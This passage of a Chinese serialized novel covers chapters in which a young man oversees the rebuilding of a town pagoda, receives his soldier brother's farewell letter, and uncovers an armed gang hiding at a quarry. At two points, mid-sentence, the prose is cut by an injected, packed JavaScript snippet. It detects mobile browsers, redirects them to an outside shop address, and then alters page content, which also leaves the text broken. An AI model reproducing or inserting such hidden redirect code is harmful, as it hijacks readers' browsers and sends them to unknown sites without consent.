张静轩站在坑边，看着夕阳把工人的影子拉得很长。汗水滴进泥土，很快被吸收。这就是建设——一点一滴，实实在在。 “静轩。” 他回头，看见苏宛音和程秋实走过来。两人手里都拿着东西——苏宛音拿着一卷纸，程秋实抱着一个木匣。 “这是学堂孩子们的‘心愿’。”苏宛音展开那卷纸，上面是孩子们用稚嫩的笔迹写的话：“我希望学堂一直办下去。”“我想当先生，教更多孩子。”“我想去省城看看。”“我想让爹娘过上好日子。”…… 程秋实打开木匣，里面是几本手抄的课本，还有孩子们画的画——青石镇的祠堂，青云河，老槐树，还有他们想象中的文峰塔。 “这些，也埋进去吧。”程秋实说，“让后世的人知道，这个时代的孩子们，在想什么。” 张静轩点头。他接过纸和木匣，心里暖洋洋的。孩子们的心愿，先生的期望，还有那些朴素的画——这就是他们这一代人的“镇物”。 夜里，张老太爷在书房里写埋藏的信。张静轩在一旁磨墨。 老人写得很慢，一笔一划：“青石镇文峰塔重修记：民国八年春，镇人集资重修文峰塔。时值国运维艰，外有强敌，内有动荡，然镇人同心，兴学修塔，以启民智，以振文风。塔基之下，埋四百年前旧碑，四十年前遗信，及今人之愿。愿后来者见之，知前人不易，继前人之志，护乡土，兴文教，佑我山河永固。张氏父子、陈氏、卢氏及全镇乡民同具。” 写完后，老人放下笔，长长舒了口气。 “静轩，”他说，“你来写一份学堂的。” 张静轩接过笔。他想了想，写下：“青石镇新式学堂办学记：民国六年秋，镇人创办新式学堂，启民智，育新人。其间艰难，几经波折，然终得延续。今埋此记，愿后来者知：教育乃立国之本，启民智乃救国之道。愿学堂永续，文脉不断，光明永驻。学生张静轩、苏宛音、程秋实及全体师生同具。” 写得很短，但字字真心。 第二天，埋“镇物”的仪式很简单。在塔基正中央挖了个小坑，把旧碑拓片、光绪年的信、张老太爷的信、张静轩的信、孩子们的心愿、学堂的课本和画，还有从省城带回来的那本《青石镇新式学堂办学记》，一起放进一个特制的陶罐里，用蜡密封，埋入地下。 覆土的时候，所有人都肃立。陈老秀才轻声念着祭文：“……埋此镇物，告慰先人；继往开来，佑我乡梓……” 阳光很好，照在每个人脸上。张静轩看着那罐子一点点被泥土覆盖，忽然觉得，他们埋下的不只是信件和愿望，更是一种承诺——对先人的承诺，对后人的承诺，对这个时代的承诺。 仪式结束后，工人们继续施工。三合土夯实了，开始砌石基。巨大的青石条从青云河上游运来，一块块垒起，严丝合缝。石匠们叮叮当当地敲打着，石屑飞舞。 张静轩在工地上帮忙搬小石块。水生跟在他身边，也搬， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140661|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 虽然力气小，但很认真。 “静轩哥，”水生忽然问，“等塔修好了，俺能上去吗？” “能。”张静轩说，“等修好了，咱们都上去。站在塔顶，看整个青石镇。” “那……能看到省城吗？” “太远了，看不到。但能看到青云河，看到咱们的学堂，看到你们家的船。” 水生眼睛亮了：“那俺爹在船上，能看到俺吗？” “能。”张静轩摸摸他的头，“你在塔上招手，你爹在船上招手，互相都能看见。” 孩子笑了，笑得灿烂。那是属于孩子的、简单的快乐。 正说着，福伯匆匆走来：“小少爷，省城来人了。” “谁？” “沈特派员。” 张静轩一愣。沈特派员怎么来了？陈继业的案子不是结了吗？ 他跟着福伯回到张家。沈特派员坐在书房里，穿着便服，但神色疲惫，眼下一片青黑。 “沈叔叔。”张静轩行礼。 “静轩，长高了。”沈特派员勉强笑了笑，“青石镇……变化很大。” “您怎么来了？” 沈特派员放下茶杯，沉默片刻：“‘老鬼’的案子……有变故。” 张静轩心头一紧。 “刘秘书在狱中自尽了。”沈特派员声音低沉，“死前留了遗书，说所有事都是他一人所为，与他人无关。上面……有人想就此结案。” “可是账册、文件……” “都被收走了。”沈特派员苦笑，“说是‘证据不足’。那些地契、借据，牵扯的人太多，太深。有人不想查下去。” 书房里一时寂静。窗外的阳光很好，但张静轩觉得心里发冷。陈继业死了，刘秘书死了，线索断了。那些幕后的人，依然逍遥。 “那……周记者呢？” “在医院，有人看守，说是‘保护’，其实是软禁。”沈特派员说，“他的报道发不出去，省城的报纸都被打了招呼，不准再提这个案子。” 张静轩握紧了拳。这就是现实——黑暗不会轻易退去，它会反扑，会用更隐蔽的方式，继续存在。 “沈叔叔，您……” “我调职了。”沈特派员说，“去邻省，明升暗降。今天来，一是跟你道别，二是……提醒你们小心。” “小心什么？” “陈继业虽然死了，但他手下还有漏网之鱼。‘老鬼’虽然暂时安全了，但可能会报复——报复那些坏了他事的人。”沈特派员看着他，“你，苏先生，程先生，还有青石镇学堂，都可能成为目标。” 张静轩沉默了。他想起周文在土地庙的伤，想起金老板胸口的血。黑暗的反扑，从来都是血腥的。 “不过，”沈特派员话锋一转，“也不是全无希望。我虽然调走了，但省城还有人在查。周记者虽然被软禁，但他的同事还在活动。这个国家，总还有不肯低头的人。” 他站起身，拍了拍张静轩的肩：“静轩，记住你那天在年会上的话——‘让这片土地上的人，活得像人’。这话很重，但值得用一生去践行。” 送走沈特派员，张静轩在书房里坐了很久。阳光从窗棂照进来，在地上投出斑驳的光影。那些光与影的交错，像极了这个时代——有光明，有黑暗，有希望，有绝望。 但他不能绝望。他站起身，走到那幅《山河图》前。大哥的字迹依然遒劲：“国若不国，家何以家。” 是啊，国若不国，家何以家。但反过来，家若不安，国何以宁？ 他要守护这个家——青石镇，学堂，还有这片山河。 夜里，他去了学堂。苏宛音和程秋实还在备课，见他来，都放下笔。 “沈特派员来了？”苏宛音问。 张静轩点头，把情况说了。 程秋实的脸色白了：“他们……还会来？” “可能会，可能不会。”张静轩说，“但不管来不来，咱们都要做好准备。” “怎么准备？” 张静轩想了想：“第一，加强学堂的守卫。街坊们可以继续轮流守夜。第二，孩子们上学放学，要有大人接送。第三……”他顿了顿，“咱们得教孩子们，遇到危险怎么办。” 苏宛音握紧了手：“要教这些吗？他们还那么小……” “正因为小，才要教。”张静轩说，“这个世道，不会因为他们是孩子，就对他们温柔。” 这话说得残酷，但真实。苏宛音沉默了，良久，点头：“好。我来教。” 接下来的几天，青石镇表面平静，但底下暗流涌动。周大栓和李铁匠重新组织了守夜队，每晚六个人，分两班。孩子们上学放学，都有家长接送。学堂里，苏宛音加了一门“安全课”，教孩子们遇到陌生人怎么办，遇到危险怎么求助。 这些变化，孩子们感受到了。水生问张静轩：“静轩哥，是不是又有坏人要来？” “不一定。”张静轩说，“但咱们做好准备，就不怕。” “俺不怕。”水生挺起小胸脯，“俺爹说，坏人来了，他就用斧头砍。” 张静轩笑了，但心里酸楚。一个十岁的孩子，不该想这些。但这就是这个时代——没有人能置身事外，连孩子也要学会面对黑暗。 文峰塔的工程继续。石基已经砌好，开始搭脚手架，准备砌塔身。每天，叮叮当当的敲打声在青石镇回荡，像这个镇子的心跳，坚定，有力。 张静轩每天都会去工地看看。他看着塔一点点升高，像看着一个承诺在慢慢实现。工人们很卖力，因为他们知道，这不是普通的塔——这是青石镇的文脉，是几代人的心愿。 这天下午，他正在工地帮忙搬砖，福伯匆匆跑来：“小少爷，有你的信。从北边来的。” 北边？大哥？ 张静轩接过信。信封很粗糙，没有邮票，是托人捎来的。拆开，是大哥的字迹，但更潦草，纸上还有污渍，像是血迹。 “静轩吾弟：见字如面。战事吃紧，此信或为绝笔。近日连战，伤亡惨重，然士气不堕。弟在乡，当知前线艰难，后方安稳来之不易。闻青石镇事毕，心稍慰。若兄不归，勿悲。为国捐躯，死得其所。唯念父亲年迈，弟尚年幼，心有不忍。然国难当头，匹夫有责。弟当继吾志，守乡土，办学堂，育新人。待驱除外寇之日，可于文峰塔下，洒酒告兄。兄静远绝笔。” 绝笔。 张静轩的手在抖。信纸很轻，但重若千钧。那些字迹，那些话，像刀子，扎进他心里。 大哥……可能回不来了。 他站在工地上，阳光刺眼，但他觉得冷。周围的敲打声，工人们的吆喝声，都远了，模糊了。只有那封信，那些字，在眼前晃。 “小少爷？”福伯担心地看着他。 张静轩深吸一口气，把信折好，揣进怀里。他抬起头，看着正在修建的文峰塔。塔身已经砌到第二层，在阳光下，青石泛着温润的光。 “福伯，”他说，“塔要修得结实些。等修好了，我要在塔顶挂一盏灯，一盏很亮的灯。让大哥在远方，也能看见。” 福伯眼眶红了：“是，小少爷。” 张静轩转身离开工地。他走得很稳，但每一步，都像踩在刀尖上。 回到书房，他把信给父亲看。张老太爷看完，很久没说话，只是看着窗外。夕阳把他的影子拉得很长，那影子微微发抖。 “爹……” “我知道了。”张老太爷的声音很平静，但平静下有惊涛，“你大哥……是个好样的。” 父子俩对坐着，直到夜幕降临。谁也没点灯，就在黑暗里坐着。窗外的星光一点点亮起来，冷冷清清。 “静轩，”张老太爷终于开口，“你大哥说得对。若他不归，你要继他的志。” “我会的。”张静轩说。 “不只是办学堂。”张老太爷说，“是守护这片土地，这片山河。用你的方式，用你能做到的方式。” 张静轩重重点头。 夜里，他独自走到青云河边。河水在月光下缓缓流淌，像时间的河，带走一切，又带来一切。他想起大哥带他来这里钓鱼的时光，想起大哥教他射箭的样子，想起大哥离家那天的背影。 那些记忆，如今都成了珍宝。 他从怀里掏出那封信，又看了一遍。然后，划燃火柴，把信烧了。火光在夜色里跳跃，照亮他年轻的脸。那张脸上有泪，但更多是坚定。 灰烬飘进河里，随水流去。 带走了悲伤，留下了誓言。 张静轩站在河边，看着远去的火光。他知道，从今夜起，他肩上的担子更重了。 但他不怕。 因为这片山河，需要有人守护——用生命，用热血，用这十五岁的、正在成长的肩膀。 远处，文峰塔的工地上，还有微弱的灯火。 那是光,是希望。 他转身，往回走,脚步很稳。 20. 第二十一章 余烬 晨雾像一层薄纱，轻轻覆在青石镇上空。张静轩推开院门时，檐下的灯笼还亮着，昏黄的光在雾里晕开一团暖意。他站在门口，深深吸了口带着露水清甜的空气，然后迈步往学堂走。 脚步很稳，但心里那封信，还在烧。 福伯默默跟在他身后，老管家今日没说话，只是偶尔抬手，用袖子擦擦眼角。两人穿过雾气弥漫的街道，早点铺子刚生起火，炊烟混在雾里，分不清哪是烟哪是雾。 祠堂里已经亮起了灯。苏宛音正站在黑板前，用抹布擦拭板面。听见脚步声，她回头，看见张静轩，手里动作停了停。 “静轩。”她轻声说，“你……知道了？” 张静轩点头。消息传得真快，连先生都知道了。 “你大哥……”苏宛音走过来，想说什么，又停住，最后只是拍了拍他的肩，“节哀。” “他没死。”张静轩说，“信上写的是‘或为绝笔’，不是‘绝笔’。” 苏宛音愣了愣，随即点头：“对，没死。一定还活着。” 这话是安慰，也是希望。张静轩知道，但他愿意信——只要没见到尸体，大哥就还活着。 孩子们陆续到了。水生第一个冲进来，看见张静轩，眼睛一亮，但很快又暗下去。他走到张静轩面前，小声说：“静轩哥，俺爹说……说你大哥是英雄。” 张静轩摸摸他的头：“嗯。” 小莲也来了，怯怯地递过来一朵野花——黄色的，不知名，但开得正好。“静轩哥，”她声音细细的，“这个……给你。” 张静轩接过花，别在衣襟上。花很香，淡淡的，像春天的味道。 上课钟响了。程秋实走进来，看见张静轩，欲言又止，最后只是说：“今天第一节课，我们讲文天祥的《正气歌》。” 他翻开课本，开始念：“天地有正气，杂然赋流形……”声音有些哑，但很坚定。 孩子们跟着念。稚嫩的童音在祠堂里回荡，混着程秋实低沉的嗓音，有种奇特的和谐。张静轩坐在后排，看着黑板上那些字——那是大哥从小就背过的诗，是张家书房里那幅《山河图》上题过的词。 “时穷节乃见，一一垂丹青。”程秋实讲到这里，停顿了一下，看向张静轩，“有些人，生在太平年月，或许平凡一生。但时局艰难时，他们的气节，就会显现出来，像丹青一样，永远留在史册上。” 孩子们似懂非懂，但都坐得笔直。水生举手：“先生，张大哥就是这样的人吗？” 程秋实点头：“是。” 课堂里安静下来。阳光透过窗棂照进来，照在孩子们的脸上，那些脸上有懵懂，有崇敬，也有一种渐渐成型的、属于这个时代孩子的早熟。 课间时，张静轩走到院子里。雾已经散了，阳光很好。文峰塔的工地上传来叮当的敲打声，塔身已经砌到第三层，在蓝天下显出了轮廓。 周大栓从工地那边跑过来，满头大汗：“小少爷，塔那边……出了点事。” “什么事？” “昨夜守夜的人说，听见有动静。今早去看，发现脚手架被人动过——有几根横木松了，差点出事。”周大栓压低声音，“要不是发现得早，今天上去干活的，怕是要摔下来。” 张静轩心头一紧。沈特派员的警告，这么快就应验了？ “人没事吧？” “没事。但这事……得查。”周大栓搓着手，“李铁匠在查脚印，但昨晚下了点雨，脚印糊了，看不清。” 正说着，李铁匠也过来了，脸色铁青：“静轩，我看过了，横木的榫头被人撬过，是故意的。这他娘的是要人命啊！” 故意破坏。张静轩握紧了拳。是谁？陈继业的余党？还是“老鬼”的人？ “从今晚起，加派人手。”他说，“守夜的人要带家伙，真有人来，别客气。” 周大栓和李铁匠点头。两人商量着重新排班，张静轩则往工地走去。 工地上，工人们还在忙碌。塔身已经有三丈高了，脚手架搭得密密麻麻。张静轩仰头看着，阳光刺眼，他眯起眼。这么高的塔，如果摔下来…… “小少爷。”一个老石匠走过来，手里拿着凿子，“您来看，这儿有点奇怪。” 张静轩跟着他走到塔基处。老石匠指着石基侧面一块青石：“这块石头，是昨天新砌的。但您看这儿——”他指着石头边缘一道浅浅的刻痕，“这刻痕，不是凿子凿的，像是……刀划的。” 张静轩蹲下身仔细看。刻痕很浅，但清晰，是一个变体的“禁”字符——和祠堂梁上那个，一模一样。 又是这个符号。 他想起秦怀安说的话，想起三年前秦先生的死，想起这三年来的种种阻挠。这个符号，像一条线，串起了所有黑暗。 “这石头从哪儿来的？”他问。 “从青云河上游的石场运来的。”老石匠说，“昨天早上才到，下午砌上去的。” 也就是说，刻痕是在石场就有的。是谁刻的？石场的工人？还是…… “石场那边，谁管？” “赵家的石场，老板叫赵老四。”老石匠说，“这人……以前跟陈继业有过往来。” 线索串起来了。陈继业虽然死了，但他的人还在。赵老四可能就是其中一个。 “这事先别声张。”张静轩站起身，“继续施工，但所有新运来的石头，都要仔细检查。” 他离开工地，往镇公所走。路上，他遇见陈老秀才。老人拄着拐杖，正慢慢往家走，看见他，停下脚步。 “静轩。”陈老秀才神色凝重，“我听说塔那边出事了？” “一点小问题，已经处理了。”张静轩说，“陈老先生，您知道赵老四这个人吗？” 陈老秀才脸色变了变：“赵老四？你问他做什么？” “塔的石头是从他石场运来的。” 陈老秀才沉默片刻，叹了口气：“赵老四……早年是个石匠，手艺好，但嗜赌。后来欠了陈继业一大笔钱，陈继业帮他还了，他就成了陈继业的人。”他顿了顿，“陈继业死后，我以为他会收敛，没想到……” “他还跟什么人来往？” “这……不清楚。”陈老秀才摇头，“但镇上有人看见，前些天有陌生人在他石场出入。那些人，不像本地人。” 不像本地人——可能是“老鬼”的人，也可能是别的势力。 张静轩谢过陈老秀才，继续往镇公所走。他需要找父亲商量。这事，不能再等闲视之。 镇公所里，张老太爷正在和卢明远说话。见他进来，两人都停下话头。 “静轩，”张老太爷说，“塔的事，我听说了。” “爹，我想去趟石场。”张静轩直接说。 “不行。”张老太爷断然拒绝，“太危险。” “但不去查，隐患更大。”张静轩说，“赵老四如果真跟那些人勾结，今天能破坏脚手架，明天就能干更坏的事。我们不能总是被动防守。” 卢明远插话：“静轩说得对。不过，不能一个人去。我带几个人跟你一起去。” 张老太爷看着儿子，又看看卢明远，良久，叹气：“去可以，但要带够人。赵哥也去。另外，跟孙科长——虽然调走了，但他在省城还有人——打个招呼，万一有事，有个照应。” 计划定下。第二天一早，张静轩、卢明远、赵哥，还有周大栓带的四个船工，一起往青云河上游的石场去。 石场离青石镇十五里，在一片山坳里。马车走到山口就进不去了，只能步行。山路崎岖，两旁是茂密的松林，阳光透过枝叶洒下来，斑斑驳驳。 赵哥走在最前面，手始终按在腰间。周大栓和船工们拿着扁担——既是工具，也是武器。张静轩走在中间，怀里揣着那把匕首。 走了约莫半个时辰，听见了叮叮当当的敲打声。转过一个山弯，石场出现在眼前——一片开阔地，堆满了大大小小的石料，几十个工人正在干活。远处有几间茅屋，应该是住人的地方。 一个黑瘦的汉子看见他们，走过来：“几位，找谁？” “找赵老板。”卢明远说。 “赵老板不在。”汉子打量他们，“有什么事？” “买石头。”卢明远说，“青石镇修塔，需要上好的青石。” 汉子脸色缓了缓：“买石头啊……那等等，我去叫管事的。” 他转身走了。张静轩趁机观察石场。工人们都在埋头干活，看起来很正常。但远处那几间茅屋，门窗紧闭，里面似乎有人影晃动。 很快，一个四十来岁、留着短须的男人走出来。这就是赵老四了。他脸上堆着笑，但眼神闪烁。 “几位是青石镇的？幸会幸会。”赵老四拱手，“要买石头？好说好说。咱们石场的石头，那可是远近闻名……” 卢明远和他周旋。张静轩则假装看石头，在石场里走动。赵哥跟在他身边，警惕地观察四周。 石料堆得很高，像一座座小山。张静轩走到一堆新开采的石头前，仔细查看。果然，在一块石头的侧面，又发现了那个“禁”字符。 他不动声色，继续走。在一间工具棚的角落里，他看见了一样东西——半截烟蒂，是洋烟，省城才有的牌子。青石镇的人，大多抽旱烟或水烟，很少有人抽洋烟。 他捡起烟蒂，揣进口袋。 这时，卢明远那边谈得差不多了。赵老四答应三天后送一批石料到青石镇，价格还算公道。 “赵老板，”张静轩忽然开口，“您这石场，最近有生人来吗？” 赵老四脸色微变：“生人？没有啊。都是老主顾。” “可我听说，前几天有陌生人在这儿出入。” “那是……那是来看石头的客商。”赵老四强笑，“做生意的，哪儿都有。” 张静轩没再追问。他知道问不出什么，反而打草惊蛇。 一行人离开石场。走出山口，上了马车，赵哥才开口：“那几间茅屋里，至少有五六个人。我从窗户缝里看见，桌子上有枪。” “枪？”卢明远一惊。 “对。长枪，□□都有。”赵哥脸色凝重，“一个石场，要那么多枪干什么？” 张静轩掏出那截烟蒂：“还有这个。洋烟，省城来的。” 事情很明显了——赵老四的石场，现在不只是石场，还是某个势力的据点。 “回去后，”张静轩说，“要加强防备。塔的工地、学堂、码头，都要加派人手。还有，得通知孙科长在省城的人，查查最近有没有生面孔来青石镇。” 回到镇上，已是傍晚。夕阳把青云河染成金色，河水缓缓流淌，像什么都没发生过。但张静轩知道，平静下面，暗流汹涌。 他先去学堂。苏宛音和程秋实还在，听说石场的事，都变了脸色。 “他们要干什么？”程秋实声音发颤。 “还不清楚。”张静轩说，“但肯定不是好事。从今晚起，先生们不要单独留在学堂，放学就回家。孩子们也是，必须有家长接送。” 苏宛音点头，但眼神里有忧虑：“静轩，这样……要持续多久？” “不知道。”张静轩实话实说，“但只要我们防备得好，他们就不敢轻举妄动。” 从学堂出来，他去了工地。周大栓和李铁匠已经重新安排了守夜的人——今晚八个人，分两班，都带着家伙。塔的脚手架也重新检查加固了。 “ ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17140662|196314||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 小少爷，”周大栓说，“你放心，有我们在，一只苍蝇都飞不进来。” 张静轩点头。他看着正在修建的文峰塔，塔身又高了些，在暮色里像一个沉默的巨人。这个巨人，承载着青石镇几代人的心愿，也成了某些人的眼中钉。 但越是这样，越要修下去。 修得更高，更稳，让所有人都看见——光明，不会被黑暗吓倒。 夜里，张静轩又在灯下写信。这次是给孙科长的——虽然他调走了，但省城还有他的人。信里写了石场的事，写了那些枪，写了洋烟蒂，也写了那个“禁”字符。 写完信，他吹熄灯，躺在床上。窗外月光很好，但他睡不着。脑子里翻来覆去的，是大哥的信，是石场的枪，是那个阴魂不散的符号。 他想起三年前，大哥离家前夜，也是在这样一个月光很好的晚上。大哥坐在后院，擦拭那把牛角弓。他问大哥：“哥，你为什么要去当兵？” 大哥说：“因为有些人，不想让咱们好好过日子。我得去，把那些人赶走。” 现在，大哥在前线赶外敌。他在后方，也要赶走那些破坏者。 这是他们兄弟的战场，不同的战场，一样的战斗。 第二天，省城回信了。是孙科长托人捎来的，很短：“已知悉，正在查。青石镇加强防备，勿主动出击。等我消息。” 果然，孙科长也在查。张静轩稍微安心了些。 接下来的几天，青石镇表面平静，但底下紧绷。守夜的人彻夜不眠，学堂的孩子们被严格接送，连码头上卸货的工人，都格外警惕。 文峰塔继续修建。第四层，第五层……塔越来越高，在青石镇的任何一个角落，都能看见它的身影。塔顶已经预留了挂铜铃的位置，等全部完工，还要挂一盏灯——张静轩坚持要挂的，一盏很亮的灯。 第六天傍晚，变故来了。 守码头的老李头慌慌张张跑来张家：“小少爷，码头……码头来了条船，不是咱们这儿的船！” 张静轩立刻跟着他去。码头边，停着一条乌篷船，船身漆得乌黑，没挂旗。船上下来三个人，都穿着短褂，腰间鼓囊囊的。 为首的是个疤脸汉子——正是张静轩在省城茶棚见过，后来在土地庙差点撞上他们的那个。 疤脸汉子看见张静轩，咧嘴一笑：“小子，又见面了。” “你们来干什么？”张静轩问。 “不干什么，看看。”疤脸汉子四下打量，“听说青石镇在修塔？好事啊。我们老板说了，也想捐点钱，积点德。” “你们老板是谁？” “这你就别管了。”疤脸汉子从怀里掏出一包银元，扔在码头上，“这点钱，算是我们老板的心意。收着，好好修塔。” 说完，他转身就要上船。 “等等。”张静轩叫住他，“钱拿走，我们不需要。” 疤脸汉子回头，眼神冷下来：“小子，别给脸不要脸。” “脸是自己挣的，不是别人给的。”张静轩说，“青石镇的塔，青石镇自己修。你们的钱，我们不要。” 两人对视。码头上的人渐渐围过来，周大栓、李铁匠都来了，手里拿着家伙。疤脸汉子那边三个人，也把手按在腰间。 气氛一触即发。 就在这时，远处传来马蹄声。两辆警用马车疾驰而来，停在码头边。车上跳下十几个警察，为首的是个陌生面孔，但穿着警长制服。 “都不许动！”警长举枪，“省警务厅办案！” 疤脸汉子脸色变了：“你们……” “赵老四已经招了。”警长冷冷道，“你们在石场藏匿枪支，图谋不轨。现在，跟我们走一趟。” 疤脸汉子还想说什么，但警察已经围上来，缴了他们的械，铐上手铐。 “张同学，”警长转向张静轩，“孙科长托我转告你：省城那边，正在收网。‘老鬼’的案子，很快会有结果。青石镇这边，你们可以安心了。” 张静轩松了口气。原来孙科长一直在行动。 疤脸汉子被押上马车。临走前，他回头看了张静轩一眼，眼神怨毒，但更多的是无奈——大势已去。 马车走了。码头上一片寂静，只有青云河的水声，哗哗地响。 周大栓抹了把汗：“他娘的，总算完了。” 李铁匠也长舒一口气：“这下，可以安心修塔了。” 张静轩站在码头边，看着远去的马车。夕阳西下，天空一片橘红。文峰塔在暮色里静静矗立，已经修到第六层了，塔尖直指苍穹。 是啊，可以安心修塔了。 但真的完了吗？ 他不知道。 他只知道，黑暗不会彻底消失，但只要光明在，就要战斗。 就像这塔，只要立着，就是光明的象征。 他转身，往家走。 脚步很稳。 像塔。 像山。 像这片土地上，永不屈服的生命。 前方，张家的灯火，温暖而明亮。 而更远处，文峰塔的轮廓，在暮色里渐渐模糊，但轮廓清晰，像一枚指向未来的箭。 他知道，明天太阳照常升起。 而他们，还要继续修塔，继续办学，继续生活。 继续，在这片多灾多难但生生不息的山河上，写下属于他们这一代人的篇章。 一定会的。 他这样想着，推开了家门。 屋里，父亲在等他。 灯光下，父子俩对坐着，很久没说话。 但心里，都懂。 窗外，夜幕完全降临。 但星光，很亮。 很亮。 21. 第二十二章 塔顶 文峰塔封顶的那天，青石镇万人空巷。 第七层最后一块青石落下时，工匠们敲响了铜锣。哐——哐——哐——声音在青云河两岸回荡，惊起一群白鹭。人们仰头望着，塔在晨光里泛着温润的光，七层八角，飞檐翘角，每一层都挂了铜铃，风一吹，叮当作响。 陈老秀才拄着拐杖站在最前面，老泪纵横：“七十年了……七十年了……塔终于又立起来了！” 张老太爷扶着他：“陈老，塔立起来了，您的心愿了了。” “了了，了了。”陈老秀才抹着泪，“等塔灯挂上，文曲星就回来了，咱们青石镇，又能出读书人了！” 封顶仪式很简单。张老太爷带着几个乡绅，在塔基前上了香，祭拜了文昌帝君。然后，工匠们开始搭最后的脚手架，准备安装塔刹和铜铃。 张静轩站在人群中，看着塔。这座塔，从开挖地基到封顶，历时三个月。三个月里，青石镇经历了太多——抓马三、救被拐者、破陈继业案、大哥的绝笔信、石场的枪、疤脸汉子的威胁……塔每高一层，青石镇就多一分安宁。 如今塔成了，像一个守护神，静静矗立在青云河边。 “静轩哥，”水生挤到他身边，“塔这么高，能上去吗？” “能。”张静轩说，“等塔刹装好，铜铃挂上，咱们都上去。” “俺爹说，塔顶能看到十里外的省城。” “太远了，看不到省城，但能看到整个青石镇。” 水生仰着头，脖子都酸了：“那俺家的船呢？” “能看到。青云河像条带子，船像带子上的蚂蚁。” 孩子笑了，笑得灿烂。这是属于孩子的快乐，简单而纯粹。 仪式结束后，张静轩去了学堂。今天虽是塔封顶，但学堂照常上课。苏宛音在教孩子们背《塔赋》——那是陈老秀才写的，文绉绉的，但孩子们背得很认真。 “……巍巍乎若青云之志，荡荡乎如流水之德。镇山河而佑乡土，承文脉而启后昆……” 稚嫩的童音在祠堂里回荡，混着远处塔上工匠的吆喝声，有种奇特的和谐。张静轩站在窗外听着，心里很平静。这就是他想要守护的——孩子们读书的声音，工匠劳作的声音，青石镇日常的声音。 课间时，苏宛音走出来，脸上有疲惫，但眼神明亮。 “塔封顶了。”她说。 “嗯。”张静轩点头，“等塔灯挂上，就更好了。” “静轩，”苏宛音忽然问，“你大哥……有消息了吗？” 张静轩摇头。一个月了，大哥那边杳无音信。那封绝笔信之后，再没来信。父亲托人去打听，只说前线战事激烈，伤亡名单还没公布。 “会有的。”苏宛音轻声说，“好人会有好报。” 这话是安慰，但张静轩愿意信。他想起大哥信里的话：“为国捐躯，死得其所。”大哥不怕死，但他希望大哥活着。 下午，塔上开始安装塔刹。塔刹是铜铸的，宝瓶形状，阳光下金光闪闪。工匠们用滑轮吊上去，一点点安装到位。这个过程很慢，也很危险，但工匠们很熟练——他们都是老手，修过庙，建过桥，知道怎么在高空作业。 张静轩在塔下看着。塔很高，工匠们的身影在塔顶显得很小，像蚂蚁。但他们很稳，一步一步，把沉重的铜构件安装到位。 忽然，一个工匠脚下一滑，差点掉下来。底下的人惊呼，但那工匠抓住了脚手架，稳住了。张静轩心头一跳，手心出了汗。 “没事！”塔上的工匠喊，“站稳了！” 虚惊一场。工匠们继续工作。张静轩却想起了石场那些被撬松的横木，想起了疤脸汉子怨毒的眼神。虽然孙科长说省城在收网，但真的安全了吗？ 他转身往镇公所走。有些事，得问问父亲。 镇公所里，张老太爷正在看一封信，脸色凝重。见儿子进来，把信递给他。 “省城来的。”张老太爷说，“‘老鬼’的案子……结案了。” 张静轩接过信。是孙科长托人捎来的，写得很隐晦，但意思明白：刘秘书“自杀”后，线索断了。上面有人施压，要求结案。那些地契、借据，都被“归档封存”。牵扯到的几个官员，有的调职，有的“病退”，但都没受实质性处罚。 “就这样……完了？”张静轩不敢相信。 “表面完了。”张老太爷说，“但孙科长说，有人在继续查。只是要暗中进行，不能再明着来。” “那周记者呢？” “放出来了，但被报社停职了。说他‘报道失实，影响稳定’。” 张静轩握紧了信纸。这就是现实——黑暗不会轻易被清除，它会用更隐蔽的方式，继续存在。刘秘书死了，但“老鬼”还在。陈继业死了，但他背后的势力还在。 “爹，”他轻声说，“咱们……还要小心。” “我知道。”张老太爷点头，“塔封顶了，但守塔更难。从今天起，要安排人轮流守塔，日夜不停。” 父子俩正说着，卢明远匆匆进来：“张伯父，静轩，码头那边……又来了条船。” 又是船？张静轩心头一紧。 “什么人？” “说是省城教育厅的，来考察学堂。”卢明远说，“但船的样子……跟上次疤脸汉子那条很像。” 三人立刻往码头赶。码头边，果然停着一条乌篷船，船身漆得乌黑，但挂着旗——省教育厅的旗。船上下来两个人，都穿着中山装，提着公文包。 为首的是个戴眼镜的中年人，看见张老太爷，微微躬身：“张公，久仰。我是教育厅的督学，姓郑。” 又姓郑？张静轩想起之前那个卡拨款的郑副厅长。 “郑督学，”张老太爷还礼，“不知大驾光临，有何贵干？” “例行考察。”郑督学笑容可掬，“听说青石镇新式学堂办得有声有色，省厅特派我来看看，总结经验，以便推广。” 话说得冠冕堂皇，但张静轩总觉得不对劲——省教育厅刚结案，就派人来考察？时机太巧了。 “欢迎考察。”张老太爷说，“请。” 一行人往学堂走。路上，郑督学不时问这问那：学堂有多少学生？几个先生？开什么课？用什么教材？张静轩一一回答，不卑不亢。 到了学堂，正是课间。孩子们在院子里玩耍，看见生人，都好奇地围过来。水生胆子大，上前问：“先生，您是谁？” 郑督学笑了，摸摸他的头：“我是省城来的，看看你们学堂办得好不好。” “俺们学堂可好了！”水生挺起小胸脯，“苏先生教算学，程先生教国文，静轩哥还教俺们射箭！” “射箭？”郑督学看向张静轩，“学堂还教射箭？” “强身健体。”张静轩说，“身体好了，才能好好读书。” 郑督学点点头，没再问。他走进课堂，看了看黑板上的字，翻了翻学生的作业本，又问了苏宛音和程秋实几个问题。整个过程很客气，但张静轩能感觉到，他的目光在四处打量——不只是看教学，更像在观察什么。 